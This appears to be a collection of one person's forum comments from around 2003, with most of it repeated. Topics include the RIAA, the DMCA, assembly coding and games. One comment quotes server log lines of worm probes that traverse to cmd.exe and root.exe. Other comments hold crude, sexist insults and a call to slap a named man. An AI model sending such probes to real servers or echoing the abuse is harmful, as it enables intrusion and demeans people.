Call me a conspiracy theorist, but perhaps this claim is just a new tactic by the RIAA to curb illegal p2p filesharing. People are very impressionable; sounds like RIAA just hired a psych. major and told him/her to sex up a story about how 'Bob from Accounting' got in trouble with his wife for all the pr0n on his machine; and accidentally removed his.mp3's in the process of cleaning up his collection of midget schizer movies.
Did these 1.4 million people not have backups? Did they throw out their burnt CD's? Probably not.
When they removed these rogue music files - did they uninstall their copy of Photoshop 7.0 and Norton Antivirus as well? Give me a break.
I find it hard to believe that 1.4 million users would agree to have their disk content monitored. Especially when they are knowingly storing copyrighted material. Are people generally that dumb? It's debatable, but in regard to this topic it's a safe bet that 'No... they aren't'.
As the RIAA know near-to-nothing regarding technology, it's application, or its potential - it is reasonable to assume that the systems being 'monitored' were M$ honeypots. (well, they obviously weren't running tight packet filters were they?)
"What is this thing you c4ll 'B.S.D'?"
In this instance, it was surprising that no mention was made of Micro$oft... Micro$oft are usually proactive in claiming their share of credit. We've all ready the drivel they sprouted about community responsibility when they shut down their public messageboards. Where are they on this topic?
I find it ironic that you throw around diatribe like 'ignorant distinctions' and yet proclaim that 'hackers' are 'liberal losers'. In discrete mathematical circles this would be labeled a universal generalisation; The existance of which typically proves an argument tautologically untrue. I also noticed furthur in the thread that you label older coders as 'drug users', quid pro quo - furthur confirming that you are, indeed, the king of ignorant distinctions.
Nice work, poindexter. Good luck which the whole 'arrogance' thing.
A program implemented to beat a 'Go' master would be more of an example of real, hard intellect. AI developers seem to have an unwholesome obsession with 'minimax' and fundamentally inefficient binary search algorithms - maybe if someone adequately defined a logical abstract for intelligence, we wouldn't be continually bombarded with these borish advances in... Chess...
How is a smart redheaded girl going to find a decent guy that is not intimidated by the softer sex?
I don't think girl geeks find it too hard to find men. Everybody knows a coders ultimate lay is one that can code assembler. Intimidation is not a factor in such a situation... they turn into slimey drooling 'yes-m'am' lusers.
The real problem emerges, however, when said female attempts to involve herself with a male that isn't a nerd - ie : one who doesn't smell and dress curiously (in a stupid coke-stained penguin shirt), harvest unsavoury facial hair with small crusty pizza attachments, who likes sport, doesn't think they're the 13373zt h4x0r on the planet, fails to recognise the practicality of 'all-niters' and has some semblance of social skill outside of IRC.
Romanes eunt domus! People called romanes they go to the house!!??
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It would probably be similar to the amount they get per-CD, that is, not much
That's exactly right. I just find it ironic that the musicians are the people who have the most to loose out of all this, yet are also the least represented in the whole debate. Guess they'll all just keep struggling to get airplay on community radio stations for 9c a song while the industry, cd rippers and average joe give them a good reaming.
Just thought i'd oblige, however I take no responsibility for the humour value of this (terrible, terrible) 'joke' : (apologies in advance)
Two brothers - the eldest brother says to his younger brother
'I'm going to teach you how to swear'
'Why??'
'Because everybody should learn to swear at some point in life'
The next morning, the two brothers go downstairs for breakfast.
'What do you want for breakfast?' Asks Mum.
'I want some f****ng Weetabix f****ng now!' Says the older brother.
'WHAT DID YOU SAY!?!?!?' Screams the mother. She belts himn round the head and sends him up ot his room ot think about what he has done. 'And what would you like?' She asks her youngest.
'Not f****ng Weetabix!'
more kowtowing to our 'big brother', the United States, instead of seeking out our own identity and place in the global marketplace.
After only two hundred years of 'history' I think most Australians would be hard pressed to nominate an archetypal 'identity'. The US is already an established power and it is in the national interest to play the games we need to play. So what if we hate their guts?
The notion of national pride is as outdated as it is pitiable, and should not hinder the capital growth and infrastructure expansion of the country.
If you want to be a stinky hippy quasi intellectual and live on some little island in an irksome hovel of a home where without the fear that you will ever have the opportunity or want to do something with your life because it would mean 'kowtowing to our big brother'... move to New Zealand.;)
As for the actual point of the original post, DMCA is a standard to which lawful use of the internet is an interest. It's pretty easy for people to complain that such a law would hinder their 'intellectual endeavours', when, in reality, all they are doing is breaking the law. If 1337h4x0rz didn't hurt the economy, we'd all be happy little geeks coming up with the next-best-thing in a free and unfettered environment - unfortunately, people in general aren't that bright - so of course we all have to pay for it.
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I've got the feeling the artists signed to their respective lables will still end up loosing out, ragardless of the outcome.
If Kazaa win, I hope they start paying some royalty to the starving artists...
And better 3D, playability and storyline than Warcraft III please.
Maybe Starcraft II will bring some maturity to Blizzards gaming engines. The upkeep I can handle... but the 60 unit cap, inane dialog and shockingly poor 3D engine just pissed me off.
Personally I find people take online opinions too lightly
What ever happened to free speech? It was stolen by preciously ignorant morons who think their reputation is worth a buck and try to cash in and exploit a flawed legal system while simultaneously fucking someone up the arse for the base gratification in having a 'sense of power' over their fellow man. Any volounteers to slap this little Robert Grace bitch and 'learn him about the world'.???
Pretty sad when you get to the point where the internet is your life, and you really give a damn about what people say about you online, despite the fact the alleged 'flame' is nothing more than a binary transaction, derived from a mind half way across the planet and entirely disconnected from your own life.
If you're programming a J2EE servlet engine, though, then for sure, it's a waste of your time.
Its good to see there are still old school coders out there, I often reminisce of my days with TASM, the torn and coffee-stained copy of 'PC Programmers Guide to Low Level Functions and Interrupts', and 'The Big Red Book that won't fit on a shelf' (now in retirement)... but things have changed.
Unless you are writing the latest and greatest compiler (recently wrote one which will interface Java/corba over parellel port to pre-486 relics to steal some processor power for nasty threads... my 100 hour optimisations weren't worth it, Java is still as slow as shite;) ) there isn't much use.
People have had to learn to live with bloated code and OS's (thanks Mr Gates for your valued contribution!). The course I did at University doesn't even teach assembly as a core requisite anymore. Guess my point is, developers don't seem to mind churning out chunky kludge, coding isn't academic anymore and to most people its just a job (that they do rather poorly), it's easier to market the product with higher hardware specs, yes?
anyway, might be interesting, but the guy is living in the past if he thinks he will make some green with this title.
Edward Lorenz gave us his strange attractor as long ago as the 1960's, and subsequent work towards describing 'sensitive dependence on initial conditions' point towards a total inability to predict meteorological outcomes over even small timeframes.
I don't know of any technologies which embody the prescient knowledge required even to monitor such a thing as the weather, let alone provide accurate extrapolations towards manipulation of that end.
In a typically foolhardy fashion, the worlds leaders and scientists deem it more economical to take the risk (what a risk!) and attempt to change the weather, rather than make attempts towards cleaning up their act.
You'd think people would learn. But then again, humanity has never been known for its wisdom....
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Call me a conspiracy theorist, but perhaps this claim is just a new tactic by the RIAA to curb illegal p2p filesharing. People are very impressionable; sounds like RIAA just hired a psych. major and told him/her to sex up a story about how 'Bob from Accounting' got in trouble with his wife for all the pr0n on his machine; and accidentally removed his .mp3's in the process of cleaning up his collection of midget schizer movies.
Did these 1.4 million people not have backups? Did they throw out their burnt CD's? Probably not.
When they removed these rogue music files - did they uninstall their copy of Photoshop 7.0 and Norton Antivirus as well? Give me a break.
I find it hard to believe that 1.4 million users would agree to have their disk content monitored. Especially when they are knowingly storing copyrighted material. Are people generally that dumb? It's debatable, but in regard to this topic it's a safe bet that 'No... they aren't'.
As the RIAA know near-to-nothing regarding technology, it's application, or its potential - it is reasonable to assume that the systems being 'monitored' were M$ honeypots. (well, they obviously weren't running tight packet filters were they?)
"What is this thing you c4ll 'B.S.D'?"
In this instance, it was surprising that no mention was made of Micro$oft... Micro$oft are usually proactive in claiming their share of credit. We've all ready the drivel they sprouted about community responsibility when they shut down their public messageboards. Where are they on this topic?
The story stinks of horse-shit.
I find it ironic that you throw around diatribe like 'ignorant distinctions' and yet proclaim that 'hackers' are 'liberal losers'. In discrete mathematical circles this would be labeled a universal generalisation; The existance of which typically proves an argument tautologically untrue. I also noticed furthur in the thread that you label older coders as 'drug users', quid pro quo - furthur confirming that you are, indeed, the king of ignorant distinctions.
Nice work, poindexter. Good luck which the whole 'arrogance' thing.
You are mistaking script kiddies and crackers for professional, talented, dedicated coders.
What a stupid, redundant comment.
Oh, the irony.
The Draw was AWESOME!
Everytime you see an ice-cream van you try to negotiate a nickel-bag.
can it run Doom III?
heheheh... silly script kiddies
/scripts/root.exe?/c+dir HTTP/1.0" 302 312 /MSADC/root.exe?/c+dir HTTP/1.0" 302 312 /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 302 312 /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 302 312 /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 302 31
203.231.144.112 - - [16/May/2003:01:46:29 +1000] "GET
203.231.144.112 - - [16/May/2003:01:46:30 +1000] "GET
203.231.144.112 - - [16/May/2003:01:46:30 +1000] "GET
203.231.144.112 - - [16/May/2003:01:46:31 +1000] "GET
203.231.144.112 - - [16/May/2003:01:46:31 +1000] "GET
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Don't feel too bad - i did the same thing....
MIT has made most of their courses available publicly ->
http://web.mit.edu/physics/subjects/index.html
A program implemented to beat a 'Go' master would be more of an example of real, hard intellect. AI developers seem to have an unwholesome obsession with 'minimax' and fundamentally inefficient binary search algorithms - maybe if someone adequately defined a logical abstract for intelligence, we wouldn't be continually bombarded with these borish advances in... Chess...
But he can't sell Star Wars forever... And I think he realises this.
How is a smart redheaded girl going to find a decent guy that is not intimidated by the softer sex?
I don't think girl geeks find it too hard to find men. Everybody knows a coders ultimate lay is one that can code assembler. Intimidation is not a factor in such a situation... they turn into slimey drooling 'yes-m'am' lusers.
The real problem emerges, however, when said female attempts to involve herself with a male that isn't a nerd - ie : one who doesn't smell and dress curiously (in a stupid coke-stained penguin shirt), harvest unsavoury facial hair with small crusty pizza attachments, who likes sport, doesn't think they're the 13373zt h4x0r on the planet, fails to recognise the practicality of 'all-niters' and has some semblance of social skill outside of IRC.
Romanes eunt domus! People called romanes they go to the house!!??
It would probably be similar to the amount they get per-CD, that is, not much
That's exactly right. I just find it ironic that the musicians are the people who have the most to loose out of all this, yet are also the least represented in the whole debate. Guess they'll all just keep struggling to get airplay on community radio stations for 9c a song while the industry, cd rippers and average joe give them a good reaming.
Just thought i'd oblige, however I take no responsibility for the humour value of this (terrible, terrible) 'joke' : (apologies in advance)
Two brothers - the eldest brother says to his younger brother 'I'm going to teach you how to swear' 'Why??' 'Because everybody should learn to swear at some point in life' The next morning, the two brothers go downstairs for breakfast. 'What do you want for breakfast?' Asks Mum.
'I want some f****ng Weetabix f****ng now!' Says the older brother.
'WHAT DID YOU SAY!?!?!?' Screams the mother. She belts himn round the head and sends him up ot his room ot think about what he has done. 'And what would you like?' She asks her youngest.
'Not f****ng Weetabix!'
more kowtowing to our 'big brother', the United States, instead of seeking out our own identity and place in the global marketplace.
;)
After only two hundred years of 'history' I think most Australians would be hard pressed to nominate an archetypal 'identity'. The US is already an established power and it is in the national interest to play the games we need to play. So what if we hate their guts?
The notion of national pride is as outdated as it is pitiable, and should not hinder the capital growth and infrastructure expansion of the country.
If you want to be a stinky hippy quasi intellectual and live on some little island in an irksome hovel of a home where without the fear that you will ever have the opportunity or want to do something with your life because it would mean 'kowtowing to our big brother'... move to New Zealand.
As for the actual point of the original post, DMCA is a standard to which lawful use of the internet is an interest. It's pretty easy for people to complain that such a law would hinder their 'intellectual endeavours', when, in reality, all they are doing is breaking the law. If 1337h4x0rz didn't hurt the economy, we'd all be happy little geeks coming up with the next-best-thing in a free and unfettered environment - unfortunately, people in general aren't that bright - so of course we all have to pay for it.
I've got the feeling the artists signed to their respective lables will still end up loosing out, ragardless of the outcome. If Kazaa win, I hope they start paying some royalty to the starving artists...
And not some stupid console version please
And better 3D, playability and storyline than Warcraft III please.
Maybe Starcraft II will bring some maturity to Blizzards gaming engines. The upkeep I can handle... but the 60 unit cap, inane dialog and shockingly poor 3D engine just pissed me off.
Personally I find people take online opinions too lightly
What ever happened to free speech? It was stolen by preciously ignorant morons who think their reputation is worth a buck and try to cash in and exploit a flawed legal system while simultaneously fucking someone up the arse for the base gratification in having a 'sense of power' over their fellow man. Any volounteers to slap this little Robert Grace bitch and 'learn him about the world'.???
Pretty sad when you get to the point where the internet is your life, and you really give a damn about what people say about you online, despite the fact the alleged 'flame' is nothing more than a binary transaction, derived from a mind half way across the planet and entirely disconnected from your own life.
C'mon people, lets be grown ups for a change, ey?
Me fail english? that's unpossible!
It has style and a 'feel' thats more original than the other load of crock that passes for entertainment
Yeah! go tentacles!
My barely adequate psychic defenses are crumbling.
If you're programming a J2EE servlet engine, though, then for sure, it's a waste of your time.
;) ) there isn't much use.
Its good to see there are still old school coders out there, I often reminisce of my days with TASM, the torn and coffee-stained copy of 'PC Programmers Guide to Low Level Functions and Interrupts', and 'The Big Red Book that won't fit on a shelf' (now in retirement)... but things have changed.
Unless you are writing the latest and greatest compiler (recently wrote one which will interface Java/corba over parellel port to pre-486 relics to steal some processor power for nasty threads... my 100 hour optimisations weren't worth it, Java is still as slow as shite
People have had to learn to live with bloated code and OS's (thanks Mr Gates for your valued contribution!). The course I did at University doesn't even teach assembly as a core requisite anymore. Guess my point is, developers don't seem to mind churning out chunky kludge, coding isn't academic anymore and to most people its just a job (that they do rather poorly), it's easier to market the product with higher hardware specs, yes?
anyway, might be interesting, but the guy is living in the past if he thinks he will make some green with this title.
> Maybe we can change it for the better.
The probability is minute.
Edward Lorenz gave us his strange attractor as long ago as the 1960's, and subsequent work towards describing 'sensitive dependence on initial conditions' point towards a total inability to predict meteorological outcomes over even small timeframes.
I don't know of any technologies which embody the prescient knowledge required even to monitor such a thing as the weather, let alone provide accurate extrapolations towards manipulation of that end.
In a typically foolhardy fashion, the worlds leaders and scientists deem it more economical to take the risk (what a risk!) and attempt to change the weather, rather than make attempts towards cleaning up their act.
You'd think people would learn. But then again, humanity has never been known for its wisdom....